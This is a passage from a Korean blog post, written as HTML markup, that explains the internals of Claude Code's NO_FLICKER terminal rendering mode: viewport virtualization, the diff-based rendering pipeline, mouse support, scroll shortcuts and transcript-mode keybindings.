    가상화(Viewport Virtualization)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 렌더러는 전체 viewport를 가상화한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;현재 보이는 메시지만 렌더 트리에 유지하므로, 터미널로 보내는 데이터가 줄어든다. 키보드와 마우스 이벤트를 후킹하여 스크롤을 구현하고, 렌더링 제어를 애플리케이션
    레이어로 이동시킨다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이것이 의미하는 바는 다음과 같다 &amp;mdash; 기존 렌더러가 &quot;터미널에 ANSI 코드를 보내고 터미널이 알아서 그리게 하는&quot; 방식이었다면, NO_FLICKER는
    &quot;애플리케이션이 viewport 전체를 직접 관리하는&quot; 방식으로 전환한 것이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 깜빡임 제거
    메커니즘&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code TUI 엔지니어 chrislloyd는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://news.ycombinator.com/item?id=46701013&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN에서&lt;/a&gt; 기존 렌더러의 구조를 설명했다: 각
    프레임마다 React로 scene graph를 구성하고, layout을 잡고, 2D 스크린으로 rasterize한 뒤, 이전 스크린과 diff를 수행한다. 기존 모드는 scrollback을 사용하므로(사용자
    기대) 변경 시 전체를 지우고 다시 그려야 했고, 이것이 tearing/flickering의 원인이었다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드는 alternate screen buffer 위에서 diff 기반 업데이트만 수행하므로 전체 화면 지우기가 필요 없다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 4 --&gt;
  &lt;h2 id=&quot;section4&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기술 아키텍처 분석 &amp;mdash; 렌더링 파이프라인&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 전체 파이프라인
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://sathwick.xyz/blog/claude-code.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;sathwick의 분석&lt;/a&gt;에 따르면, Claude
    Code의 렌더링 파이프라인은 다음과 같다:&lt;/p&gt;
  &lt;pre class=&quot;routeros&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;text&quot;&gt;&lt;code&gt;React Components
  &amp;rarr; Custom React Reconciler (createReconciler API)
  &amp;rarr; Virtual DOM Tree
  &amp;rarr; Yoga Layout Engine (flexbox)
  &amp;rarr; Output Builder (write/blit/clip/clear/shift)
  &amp;rarr; Screen Buffer (2D cell array, interned styles/hyperlinks)
  &amp;rarr; Diff Engine
  &amp;rarr; ANSI Escape Sequences
  &amp;rarr; TTY&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 더블 버퍼링과
    인터닝 풀&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;렌더러는 더블 버퍼링(front/back 프레임 포인터 스왑)과 blitting(이전 프레임의 변경 없는 영역 복사) 기법을 사용한다. Screen Buffer는
    3개의 인터닝 풀을 사용한다: CharPool, StylePool(사전 계산된 전환 시퀀스로 O(1) 룩업), HyperlinkPool.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 성능 특성
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;입력 상자가 화면 하단에 고정되며, 출력이 스트리밍될 때 이동하지 않는다. 보이는 메시지만 렌더 트리에 유지하므로 대화 길이와 무관하게 메모리가 일정하다.
    boris_cherny(Anthropic 엔지니어, Claude Code 리드)도 &quot;대화가 길어져도 일정한 메모리와 CPU 사용&quot;을 장점으로 꼽았다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;성능 최적화 과정에서 두 가지 주요 이슈가 있었다:&lt;/p&gt;
  &lt;ol style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;과도한 JSX 할당으로 인한 예측 불가 GC 일시정지 &amp;mdash; 더 많은 할당은 더 많은 GC를, VM이 잠기는 프레임 증가를 의미한다.&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;더블 버퍼링의 메모리 압박 &amp;mdash; packed TypedArray로 전환하여 해결했다.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: 기존 렌더러는 대화가 길어질수록 메모리와 CPU가 증가했지만, NO_FLICKER는 viewport 가상화 덕분에 대화 길이와 무관하게 일정한
    리소스를 사용한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 5 --&gt;
  &lt;h2 id=&quot;section5&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 소스코드 핵심 분석 &amp;mdash; 렌더러 내부 구조&lt;/b&gt;&lt;/h2&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code는 오픈소스(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://github.com/anthropics/claude-code&quot; target=&quot;_blank&quot;
      rel=&quot;noopener&quot;&gt;https://github.com/anthropics/claude-code&lt;/a&gt;)이므로 렌더러의 핵심 구조를 확인할 수 있다. topic_type_modifier가
    feature-guide이므로 코드 분석은 가볍게 다룬다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.1
    ScrollBox와 하드웨어 스크롤&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;ScrollBox는 가능한 경우 DECSTBM(하드웨어 스크롤 영역)을 사용한다. 터미널 타입별로 drain rate를 조절하는데, 네이티브 터미널은 프레임당 약
    3/4, xterm.js(VS Code 등)는 적응형 스테핑을 사용한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.2 Diff
    Engine과 ANSI 출력&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Diff Engine은 이전 프레임과 현재 프레임을 셀 단위로 비교하여 변경된 부분만 ANSI escape sequence로 출력한다. 더블 버퍼링의
    front/back 프레임 포인터 스왑이 이 과정을 효율적으로 만든다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.3
    flickering의 역사적 맥락&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;2025년 3월부터 문제가 보고되기 시작했고, 초기 fix에서 differential renderer를 도입했지만, HN 토론에서 공개된 내부 데이터에 따르면 세션의
    약 1/3에서 여전히 최소 1회의 flicker가 발생했다. DEC mode 2026(synchronized output) 패치가 VS Code 터미널과 tmux에 수용되었으며, Ghostty는 이미 이
    표준을 지원하고 있었다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 6 --&gt;
  &lt;h2 id=&quot;section6&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 활용법 &amp;mdash; 마우스 지원과 단축키&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 마우스 인터랙션
    (v2.1.88+)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드는 터미널에서 마우스 지원을 제공한다:&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          동작&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          설명&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프롬프트 입력 내 클릭&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커서 위치 이동&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;접힌 도구 결과 클릭&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;확장/축소&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;URL/파일 경로 클릭&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;열기&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클릭-드래그&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;텍스트 선택 (더블클릭=단어, 트리플클릭=줄)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;마우스 휠&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대화 스크롤&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;선택한 텍스트는 마우스 릴리스 시 자동으로 클립보드에 복사된다. &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/config&lt;/code&gt;에서
    &quot;Copy on select&quot;를 끌 수 있으며, 끈 경우 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+Shift+c&lt;/code&gt;로
    수동 복사한다. kitty 키보드 프로토콜을 지원하는 터미널(kitty, WezTerm, Ghostty, iTerm2)에서는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+c&lt;/code&gt;도
    동작한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 스크롤 단축키
    (v2.1.88+)&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          키&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          동작&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;PgUp&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;PgDn&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;반 화면 스크롤&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+Home&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대화 시작으로 이동&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+End&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;최신 메시지로 이동 + 자동 팔로우 재개&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;마우스 휠&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;몇 줄씩 스크롤&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;MacBook에서는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Fn+화살표&lt;/code&gt;
    조합을 사용한다. 이 단축키들은 리바인딩 가능하며, 액션 이름은 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:pageUp&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:pageDown&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:top&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:bottom&lt;/code&gt;
    등이다. 기본 바인딩이 없는 추가 액션으로 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:lineUp&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:lineDown&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:halfPageUp&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:halfPageDown&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:fullPageUp&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:fullPageDown&lt;/code&gt;도
    있다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.3 스크롤 속도
    조정 (v2.1.88+)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_SCROLL_SPEED&lt;/code&gt;
    환경변수로 마우스 휠 스크롤 속도를 조정한다:&lt;/p&gt;
  &lt;pre class=&quot;routeros&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export CLAUDE_CODE_SCROLL_SPEED=3&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;1~20 범위이며, 3이 vim 기본값과 동일하다. VS Code 통합 터미널 등은 노치당 1 이벤트만 보내 느릴 수 있으므로, 이 경우 값을 높이는 것이 권장된다.
  &lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.4
    Transcript 모드 (v2.1.88+)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;로
    transcript 모드에 진입한다. less 스타일 네비게이션과 검색을 지원한다:&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          키&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          동작&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;검색 열기&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;n&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;N&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;다음/이전 매치&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;j&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;k&lt;/code&gt;
          또는 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;&amp;uarr;&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;&amp;darr;&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;한 줄 스크롤&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;g&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;G&lt;/code&gt;
          또는 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Home&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;End&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;상단/하단 이동&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+u&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+d&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;반 페이지 스크롤&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+b&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+f&lt;/code&gt;
          또는 &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Space&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;b&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 페이지 스크롤&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Esc&lt;/code&gt;,
          &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;q&lt;/code&gt;,
          &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+o&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;나가기&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;전체 대화를 네이티브 스크롤백 버퍼에 쓰기 (Cmd+f 사용 가능)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;v&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;임시 파일로 저장 후 $VISUAL/$EDITOR에서 열기&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;transcript 모드에서 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;[&lt;/code&gt;를
    누르면 전체 대화를 터미널의 네이티브 스크롤백 버퍼에 쓴다. 이후 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+f&lt;/code&gt;,
    tmux copy mode 등 네이티브 도구가 작동한다. &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;v&lt;/code&gt;를
    누르면 임시 파일로 저장 후 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;$VISUAL&lt;/code&gt;
    또는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;$EDITOR&lt;/code&gt;에서
    연다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 7 --&gt;
  &lt;h2 id=&quot;section7&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 실전 사용 예시 &amp;mdash; 구체적 시나리오&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.1 VS Code
    통합 터미널에서 깜빡임 해결&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;VS Code 통합 터미널은 xterm.js 기반이며, 렌더링 처리량이 병목인 대표적 환경이다. Claude Code가 도구 출력을 스트리밍하는 동안 화면이 깜빡이거나
    스크롤 위치가 맨 위로 점프하는 현상이 발생한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;해결: &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.zshrc&lt;/code&gt;에
    &lt;code
